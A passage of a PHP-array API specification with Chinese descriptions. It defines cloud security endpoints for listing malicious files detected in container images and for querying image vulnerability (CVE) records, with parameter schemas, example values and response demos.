'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '指定分页查询时，显示的当前页的页码。起始值为**1**，默认值为**1**。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '指定分页查询时，每页显示的数据的最大条数。默认值为**20**。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '检测出恶意样本的镜像总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'Count' => [ + 'description' => '当前页返回的存在镜像恶意样本的镜像数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + 'AffectedMaliciousFileImagesResponse' => [ + 'description' => '检测出恶意样本的镜像列表信息。', + 'type' => 'array', + 'items' => [ + 'description' => '检测出恶意样本的镜像信息。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '镜像恶意样本处理状态。取值：'."\n" + .'- **0**：未处理'."\n" + .'- **1**：已处理'."\n" + .'- **2**：验证中'."\n" + .'- **3**：已加白', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Digest' => [ + 'description' => '镜像摘要。', + 'type' => 'string', + 'example' => '6a5e1031a5858617f7d8a179ead6****', + ], + 'LatestVerifyTimestamp' => [ + 'description' => '最新验证时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1596522711000', + ], + 'RepoInstanceId' => [ + 'description' => '容器镜像实例ID。', + 'type' => 'string', + 'example' => 'cri-datvail3m****', + ], + 'Namespace' => [ + 'description' => '镜像仓库命名空间。', + 'type' => 'string', + 'example' => 'hanghai-namespace', + ], + 'Tag' => [ + 'description' => '镜像标签。', + 'type' => 'string', + 'example' => '0.2', + ], + 'RepoRegionId' => [ + 'description' => '镜像仓库的RegionId。', + 'type' => 'string', + 'example' => 'cn-shanghai', + ], + 'ImageUuid' => [ + 'description' => '镜像UUID。', + 'type' => 'string', + 'example' => 'e05c0de798217637868ef4****', + ], + 'FirstScanTimestamp' => [ + 'description' => '首次扫描时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1594907349000', + ], + 'MaliciousMd5' => [ + 'description' => '恶意文件的MD5值。', + 'type' => 'string', + 'example' => 'd836968041f768300d9605a****', + ], + 'FilePath' => [ + 'description' => '镜像文件路径。', + 'type' => 'string', + 'example' => '/d836968041f7683b5605a****', + ], + 'RepoId' => [ + 'description' => '镜像仓库ID。', + 'type' => 'string', + 'example' => 'crr-vridcl4****', + ], + 'Layer' => [ + 'description' => '镜像的层。', + 'type' => 'string', + 'example' => '27213ad3447f0209dd152a5cadea****', + ], + 'LatestScanTimestamp' => [ + 'description' => '最新扫描时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1596522785000', + ], + 'RepoName' => [ + 'description' => '镜像仓库名称。', + 'type' => 'string', + 'example' => 'centos', + ], + 'Level' => [ + 'description' => '镜像恶意样本的紧急程度。取值：'."\n" + .'- **serious**：紧急'."\n" + .'- **suspicious**：可疑'."\n" + .'- **remind**：提醒', + 'type' => 'string', + 'example' => 'serious', + ], + 'DownloadUrl' => [ + 'description' => '恶意样本下载链接。', + 'type' => 'string', + 'example' => 'https://aegis-metadata-file.oss-cn-shanghai.aliyuncs.com/', + ], + 'HighLight' => [ + 'description' => '高亮显示文本。', + 'type' => 'string', + 'example' => '{"ruleVersion":"highlight_20210908","ruleId":600106,"events":[[2,54]]}', + ], + 'ContainerId' => [ + 'description' => '容器编号。', + 'type' => 'string', + 'example' => '04d20e98c8e2c93b7b864372084320a15a58c8671e53c972ce3a71d9c163****', + ], + 'Image' => [ + 'description' => '镜像名称。', + 'type' => 'string', + 'example' => 'registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-conta****', + ], + 'Pod' => [ + 'description' => '容器组。', + 'type' => 'string', + 'example' => '22222-7xsqq', + ], + 'ClusterId' => [ + 'description' => '集群编号。', + 'type' => 'string', + 'example' => 'c08d5fc1a329a4b88950a253d082f1****', + ], + 'ClusterName' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'example' => 'docker-law', + ], + 'InstanceName' => [ + 'description' => '服务器实例的名称。', + 'type' => 'string', + 'example' => 'sql-test-001', + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP地址。', + 'type' => 'string', + 'example' => '47.101.XX.XX', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP地址。', + 'type' => 'string', + 'example' => '172.22.XX.XX', + ], + 'TargetId' => [ + 'description' => '扫描对象ID。', + 'type' => 'string', + 'example' => 'm-bp17m0pc0xprzbwo****', + ], + 'TargetName' => [ + 'description' => '扫描对象名称。', + 'type' => 'string', + 'example' => 'source-test-obj-9LaLJ', + ], + 'TargetType' => [ + 'description' => '扫描对象类型。取值：'."\n" + ."\n" + .'- **ECS_IMAGE**：镜像。'."\n" + .'- **ECS_SNAPSHOT**：快照', + 'type' => 'string', + 'example' => 'ECS_IMAGE', + ], + 'Uuid' => [ + 'description' => '服务器的UUID。', + 'type' => 'string', + 'example' => '48a473c4-1650-4931-a822-7e6c2c28****', + ], + 'Id' => [ + 'description' => '告警事件ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1000040', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"ACF97412-FD09-4D1F-994F-34DF12BREF20\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 2,\\n \\"Count\\": 2\\n },\\n \\"AffectedMaliciousFileImagesResponse\\": [\\n {\\n \\"Status\\": 1,\\n \\"Digest\\": \\"6a5e1031a5858617f7d8a179ead6****\\",\\n \\"LatestVerifyTimestamp\\": 1596522711000,\\n \\"RepoInstanceId\\": \\"cri-datvail3m****\\",\\n \\"Namespace\\": \\"hanghai-namespace\\",\\n \\"Tag\\": \\"0.2\\",\\n \\"RepoRegionId\\": \\"cn-shanghai\\",\\n \\"ImageUuid\\": \\"e05c0de798217637868ef4****\\",\\n \\"FirstScanTimestamp\\": 1594907349000,\\n \\"MaliciousMd5\\": \\"d836968041f768300d9605a****\\",\\n \\"FilePath\\": \\"/d836968041f7683b5605a****\\",\\n \\"RepoId\\": \\"crr-vridcl4****\\",\\n \\"Layer\\": \\"27213ad3447f0209dd152a5cadea****\\",\\n \\"LatestScanTimestamp\\": 1596522785000,\\n \\"RepoName\\": \\"centos\\",\\n \\"Level\\": \\"serious\\",\\n \\"DownloadUrl\\": \\"https://aegis-metadata-file.oss-cn-shanghai.aliyuncs.com/\\",\\n \\"HighLight\\": \\"{\\\\\\"ruleVersion\\\\\\":\\\\\\"highlight_20210908\\\\\\",\\\\\\"ruleId\\\\\\":600106,\\\\\\"events\\\\\\":[[2,54]]}\\",\\n \\"ContainerId\\": \\"04d20e98c8e2c93b7b864372084320a15a58c8671e53c972ce3a71d9c163****\\",\\n \\"Image\\": \\"registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-conta****\\",\\n \\"Pod\\": \\"22222-7xsqq\\",\\n \\"ClusterId\\": \\"c08d5fc1a329a4b88950a253d082f1****\\",\\n \\"ClusterName\\": \\"docker-law\\",\\n \\"InstanceName\\": \\"sql-test-001\\",\\n \\"InternetIp\\": \\"47.101.XX.XX\\",\\n \\"IntranetIp\\": \\"172.22.XX.XX\\",\\n \\"TargetId\\": \\"m-bp17m0pc0xprzbwo****\\",\\n \\"TargetName\\": \\"source-test-obj-9LaLJ\\",\\n \\"TargetType\\": \\"ECS_IMAGE\\",\\n \\"Uuid\\": \\"48a473c4-1650-4931-a822-7e6c2c28****\\",\\n \\"Id\\": 1000040\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询镜像恶意文件详细信息', + ], + 'DescribeGroupedMaliciousFiles' => [ + 'summary' => '查询镜像恶意样本文件列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92086', + 'abilityTreeNodes' => [ + 'FEATUREsasA0IBMB', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Levels', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的镜像恶意样本的危险程度。可输入多个值，多个值之间使用英文逗号（,）分隔。取值：'."\n" + .'- **serious**：紧急'."\n" + .'- **suspicious**：可疑'."\n" + .'- **remind**：提醒', + 'type' => 'string', + 'required' => false, + 'example' => 'serious', + ], + ], + [ + 'name' => 'FuzzyMaliciousName', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的恶意文件名称。'."\n" + .'> 支持模糊搜索。', + 'type' => 'string', + 'required' => false, + 'example' => 'Mining', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '从返回结果中的第几页开始显示。起始值为**1**。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示的数据的最大条数。默认值为**20**。'."\n", + 'type' => 'string', + 'required' => true, + 'example' => '20', + ], + ], + [ + 'name' => 'RepoRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库的地域ID。取值：'."\n" + .'- **cn-beijing**：华北2（北京）'."\n" + .'- **cn-zhangjiakou**：华北3（张家口）'."\n" + .'- **cn-hangzhou**：华东1（杭州）'."\n" + .'- **cn-shanghai**：华东2（上海）'."\n" + .'- **cn-shenzhen**：华南1（深圳）'."\n" + .'- **cn-hongkong**：中国香港'."\n" + .'- **ap-southeast-1**：新加坡'."\n" + .'- **ap-southeast-5**：印度尼西亚（雅加达）'."\n" + .'- **us-east-1**：美国（弗吉尼亚）'."\n" + .'- **us-west-1**：美国（硅谷）'."\n" + .'- **eu-central-1**：德国（法兰克福）'."\n" + .'- **eu-west-1**：英国（伦敦）', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-shanghai', + ], + ], + [ + 'name' => 'RepoInstanceId', + 'in' => 'query', + 'schema' => [ + 'description' => '容器镜像的实例ID。'."\n" + .'> 调用容器镜像服务的[ListRepository](~~145293~~)接口，通过返回参数**InstanceId**的值可以获取容器镜像实ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cri-datvailb****', + ], + ], + [ + 'name' => 'RepoId', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库ID。'."\n" + .'> 调用容器镜像服务的[ListRepository](~~145293~~)接口，通过返回参数**RepoId**的值可以获取镜像仓库ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'crr-vridcl4****', + ], + ], + [ + 'name' => 'RepoName', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库名称。'."\n" + .'> 支持模糊搜索。', + 'type' => 'string', + 'required' => false, + 'example' => ' centos', + ], + ], + [ + 'name' => 'RepoNamespace', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库命名空间名称。'."\n" + .'> 支持模糊查询。', + 'type' => 'string', + 'required' => false, + 'example' => 'hanghai-namespace', + ], + ], + [ + 'name' => 'ImageTag', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像标签。', + 'type' => 'string', + 'required' => false, + 'example' => '0.2', + ], + ], + [ + 'name' => 'ImageDigest', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像摘要。', + 'type' => 'string', + 'required' => false, + 'example' => '6a5e103187b31a94592a47a5858617f7****', + ], + ], + [ + 'name' => 'ImageLayer', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像的层。', + 'type' => 'string', + 'required' => false, + 'example' => '27213ad375b53628dd152a5ca****', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '需要查询异常事件的服务器的集群ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'c556c8133b5ad4378b7fc533ddbda****', + ], + ], + [ + 'name' => 'ScanRange', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '扫描范围集合。'."\n" + ."\n", + 'type' => 'array', + 'items' => [ + 'description' => '扫描范围。取值：'."\n" + ."\n" + .'- **container**：容器'."\n" + .'- **image**：镜像', + 'type' => 'string', + 'required' => false, + 'example' => 'container', + ], + 'required' => false, + 'maxItems' => 2, + ], + ], + [ + 'name' => 'MaliciousMd5', + 'in' => 'query', + 'schema' => [ + 'description' => '恶意文件的md5值。', + 'type' => 'string', + 'required' => false, + 'example' => 'd836968041f7683b5459****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '8045E03E-6D91-4C53-9F22-5A1B84BB29D9', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的数据的最大条数。默认值为**20**。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '恶意样本文件的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'Count' => [ + 'description' => '当前页返回的恶意样本文件的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + 'GroupedMaliciousFileResponse' => [ + 'description' => '恶意样本文件列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像恶意样本文件信息。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '镜像恶意样本的处理状态。取值：'."\n" + .'- **0**：未处理'."\n" + .'- **1**：已处理'."\n" + .'- **2**：验证中'."\n" + .'- **3**：已加白', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ImageCount' => [ + 'description' => '被恶意样本影响的镜像数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '3', + ], + 'LatestScanTimestamp' => [ + 'description' => '最新扫描时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1596533942000', + ], + 'MaliciousName' => [ + 'description' => '恶意文件的名称。', + 'type' => 'string', + 'example' => 'testFile', + ], + 'MaliciousMd5' => [ + 'description' => '恶意文件的MD5值。', + 'type' => 'string', + 'example' => 'd836968041f7683b5459****', + ], + 'FirstScanTimestamp' => [ + 'description' => '首次扫描时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1594907349000', + ], + 'Level' => [ + 'description' => '镜像恶意样本的危险程度。取值：'."\n" + .'- **serious**：紧急'."\n" + .'- **suspicious**：可疑'."\n" + .'- **remind**：提醒', + 'type' => 'string', + 'example' => 'serious', + ], + 'MaliciousKey' => [ + 'description' => '恶意文件的关键字。', + 'type' => 'string', + 'example' => 'WEBSHELL_IMG', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"8045E03E-6D91-4C53-9F22-5A1B84BB29D9\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 2,\\n \\"Count\\": 2\\n },\\n \\"GroupedMaliciousFileResponse\\": [\\n {\\n \\"Status\\": 0,\\n \\"ImageCount\\": 3,\\n \\"LatestScanTimestamp\\": 1596533942000,\\n \\"MaliciousName\\": \\"testFile\\",\\n \\"MaliciousMd5\\": \\"d836968041f7683b5459****\\",\\n \\"FirstScanTimestamp\\": 1594907349000,\\n \\"Level\\": \\"serious\\",\\n \\"MaliciousKey\\": \\"WEBSHELL_IMG\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n \\n 0\\n 1596533942000\\n 3\\n 自变异木马\\n serious\\n 1594907349000\\n d836968041f7683b545900****\\n \\n \\n 1\\n 1594785387000\\n 0\\n 发现后门（Webshell）文件\\n serious\\n 1594630261000\\n d8b4074715b232d7d41***\\n \\n \\n 2\\n 20\\n 1\\n 2\\n \\n 8045E03E-6D91-4C53-9F22-5A1B84BB29D9\\n","errorExample":""}]', + 'title' => '查询镜像恶意样本文件列表信息', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeImageVulList' => [ + 'summary' => '查看镜像安全扫描的漏洞的详情及受漏洞影响容器镜像的信息列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的漏洞的类型。固定取值为**cve**，表示查询容器镜像漏洞。', + 'type' => 'string', + 'required' => true, + 'example' => 'cve', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '资产实例的UUID列表。多个UUID之间使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => false, + 'example' => '0004a32a0305a7f6ab5ff9600d47****', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的漏洞的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'debian:10:CVE-2019-9893', + ], + ], + [ + 'name' => 'AliasName', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的漏洞的别名。', + 'type' => 'string', + 'required' => false, + 'example' => 'High severity vulnerability that affects org.eclipse.jetty:jetty-server', + ], + ], + [ + 'name' => 'StatusList', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞的修复状态。取值：'."\n" + .'- **1**：未修复'."\n" + .'- **4**：修复中'."\n" + .'- **7**：修复成功'."\n" + ."\n", + 'type' => 'string', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Necessity', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞修复必要性等级。取值：'."\n" + .'- **asap**：需尽快修复（通常是高危漏洞）'."\n" + .'- **later**：可延后修复（通常是中危漏洞）'."\n" + .'- **nntf**：暂可不修复（通常是低危漏洞）'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'asap', + ], + ], + [ + 'name' => 'Dealed', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞是否已处理。取值：'."\n" + .'- **y**：已处理'."\n" + .'- **n**：未处理', + 'type' => 'string', + 'required' => false, + 'example' => 'y', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的漏洞的数量。默认值为**10**，表示每页显示10条漏洞。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'RepoRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '容器镜像仓库的地域ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'RepoInstanceId', + 'in' => 'query', + 'schema' => [ + 'description' => '容器镜像仓库实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-qewqrqcsadf****', + ], + ], + [ + 'name' => 'RepoId', + 'in' => 'query', + 'schema' => [ + 'description' => '容器镜像仓库ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'qew****', + ], + ], + [ + 'name' => 'RepoName', + 'in' => 'query', + 'schema' => [ + 'description' => '容器镜像仓库的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'libssh2', + ], + ], + [ + 'name' => 'RepoNamespace', + 'in' => 'query', + 'schema' => [ + 'description' => '容器镜像仓库的命名空间。', + 'type' => 'string', + 'required' => false, + 'example' => 'libssh2', + ], + ], + [ + 'name' => 'RepoName', + 'in' => 'query', + 'schema' => [ + 'description' => '容器镜像仓库的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'libssh2', + ], + ], + [ + 'name' => 'RegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '实例所在的地域的ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'InstanceId', + 'in' => 'query', + 'schema' => [ + 'description' => '资产实例的ID。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '1-qeqewqw****', + ], + ], + [ + 'name' => 'RepoId', + 'in' => 'query', + 'schema' => [ + 'description' => '容器镜像仓库ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'qew****', + ], + ], + [ + 'name' => 'Tag', + 'in' => 'query', + 'schema' => [ + 'description' => '容器镜像的标签。', + 'type' => 'string', + 'required' => false, + 'example' => 'oval', + ], + ], + [ + 'name' => 'Digest', + 'in' => 'query', + 'schema' => [ + 'description' => '容器镜像的唯一标识。', + 'type' => 'string', + 'required' => false, + 'example' => '8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d507012', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '容器集群的ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cc20a1024011c44b6a8710d6f8b****', + ], + ], + [ + 'name' => 'ScanRange', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '扫描范围集合。'."\n" + ."\n", + 'type' => 'array', + 'items' => [ + 'description' => '扫描范围。取值：'."\n" + ."\n" + .'- **container**：容器'."\n" + .'- **image**：镜像', + 'type' => 'string', + 'required' => false, + 'example' => 'container', + ], + 'required' => false, + 'maxItems' => 2, + ], + ], + [ + 'name' => 'ClusterName', + 'in' => 'query', + 'schema' => [ + 'description' => '集群名称。'."\n" + ."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'docker-law'."\n", + ], + ], + [ + 'name' => 'ContainerId', + 'in' => 'query', + 'schema' => [ + 'description' => '容器编号。', + 'type' => 'string', + 'required' => false, + 'example' => 'c08d5fc1a329a4b88950a253d082f****'."\n", + ], + ], + [ + 'name' => 'Pod', + 'in' => 'query', + 'schema' => [ + 'description' => '容器组。'."\n" + ."\n", + 'type' => 'string', + 'required' => false, + 'example' => '22222-7xsqq'."\n", + ], + ], + [ + 'name' => 'Namespace', + 'in' => 'query', + 'schema' => [ + 'description' => '命名空间。'."\n" + ."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'test-002'."\n", + ], + ], + [ + 'name' => 'Image', + 'in' => 'query', + 'schema' => [ + 'description' => '容器镜像名称。'."\n" + ."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-****'."\n", + ], + ], + [ + 'name' => 'RuleTag', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞标签，取值：'."\n" + ."\n" + .'- **AI**： AI组件相关漏洞', + 'type' => 'string', + 'required' => false, + 'example' => 'AI', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'D6B20156-49B0-5CF0-B14D-7ECA4B50DAAB', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的漏洞的数量。默认值为**10**，表示每页显示10条漏洞。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '查询到的漏洞的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'VulRecords' => [ + 'description' => '漏洞的信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '漏洞的信息。', + 'type' => 'object', + 'properties' => [ + 'CanUpdate' => [ + 'description' => '导致漏洞的软件包是否支持通过云安全中心升级。取值：'."\n" + ."\n" + .'- **true**：支持升级'."\n" + .'- **false**：不支持升级', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Type' => [ + 'description' => '本次查询的漏洞的类型。固定取值为cve，表示查询容器镜像漏洞。', + 'type' => 'string', + 'example' => 'cve', + ], + 'Status' => [ + 'description' => '漏洞的修复状态。取值：'."\n" + .'- **1**：未修复'."\n" + .'- **7**：修复成功'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ModifyTs' => [ + 'description' => '漏洞记录的更新的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1580808765000', + ], + 'ImageDigest' => [ + 'description' => '容器镜像的唯一标识。', + 'type' => 'string', + 'example' => '8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d507012', + ], + 'PrimaryId' => [ + 'description' => '漏洞的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '782661', + ], + 'Tag' => [ + 'description' => '容器镜像漏洞的标签。', + 'type' => 'string', + 'example' => 'oval', + ], + 'RepoNamespace' => [ + 'description' => '容器镜像仓库的命名空间。', + 'type' => 'string', + 'example' => 'default', + ], + 'RepoName' => [ + 'description' => '容器镜像仓库的名称。', + 'type' => 'string', + 'example' => 'varnish', + ], + 'Related' => [ + 'description' => '关联的漏洞详情。', + 'type' => 'string', + 'example' => 'CVE-2019-9893', + ], + 'FirstTs' => [ + 'description' => '首次扫描的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1620752053000', + ], + 'LastTs' => [ + 'description' => '最新扫描的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1631779996000', + ], + 'Necessity' => [ + 'description' => '漏洞修复必要性等级。取值：'."\n" + .'- **asap**：需尽快修复（通常是高危漏洞）'."\n" + .'- **later**：可延后修复（通常是中危漏洞）'."\n" + .'- **nntf**：暂可不修复（通常是低危漏洞）'."\n", + 'type' => 'string', + 'example' => 'asap', + ], + 'Uuid' => [ + 'description' => '服务器的UUID。', + 'type' => 'string', + 'example' => '0004a32a0305a7f6ab5ff9600d47****', + ], + 'AliasName' => [ + 'description' => '漏洞的别名。', + 'type' => 'string', + 'example' => 'CVE-2018-25010:libwebp up to 1.0.0 ApplyFilter out-of-bounds read', + ], + 'Name' => [ + 'description' => '漏洞的名称。', + 'type' => 'string', + 'example' => 'debian:10:CVE-2019-9893', + ], + 'Layers' => [ + 'description' => '容器镜像层级的列表。', + 'type' => 'array', + 'items' => [ + 'description' => '容器镜像层级的列表。', + 'type' => 'string', + 'example' => '["null"]', + ], + ], + 'ExtendContentJson' => [ + 'description' => '漏洞信息的扩展内容。', + 'type' => 'object', + 'properties' => [ + 'OsRelease' => [ + 'description' => '容器镜像对应的操作系统发行的版本。', + 'type' => 'string', + 'example' => '10.9', + ], + 'Os' => [ + 'description' => '操作系统名称。', + 'type' => 'string', + 'example' => 'debian', + ], + 'RpmEntityList' => [ + 'description' => '导致漏洞的软件包的信息列表。'."\n", + 'type' => 'array', + 'items' => [ + 'description' => '导致漏洞的软件包的信息。', + 'type' => 'object', + 'properties' => [ + 'MatchList' => [ + 'description' => '命中的规则的详情列表。', + 'type' => 'array', + 'items' => [ + 'description' => '命中的规则的详情列表。多个规则的详情之间使用半角逗号（,）分隔。', + 'type' => 'string', + 'example' => '["libstdc++ version less than 8.5.0-4.el8_5"]', + ], + 'example' => '["libseccomp2 version less than equals 2.3.3-4"]', + ], + 'Layer' => [ + 'description' => '容器镜像层级的摘要的SHA256值。', + 'type' => 'string', + 'example' => 'b1f5b9420803ad0657cf21566e3e20acc08581e7f22991249ef3aa80b8b1c587', + ], + 'FullVersion' => [ + 'description' => '软件包的完整版本号。'."\n", + 'type' => 'string', + 'example' => '2.3.3-4', + ], + 'Version' => [ + 'description' => '软件包的版本号。'."\n", + 'type' => 'string', + 'example' => '2.3.3-4', + ], + 'MatchDetail' => [ + 'description' => '漏洞命中的详细信息。'."\n", + 'type' => 'string', + 'example' => 'libseccomp2 version less than equals 2.3.3-4', + ], + 'Path' => [ + 'description' => '存在漏洞的软件所在的路径。'."\n", + 'type' => 'string', + 'example' => '/usr/lib64/libssh2.so.1', + ], + 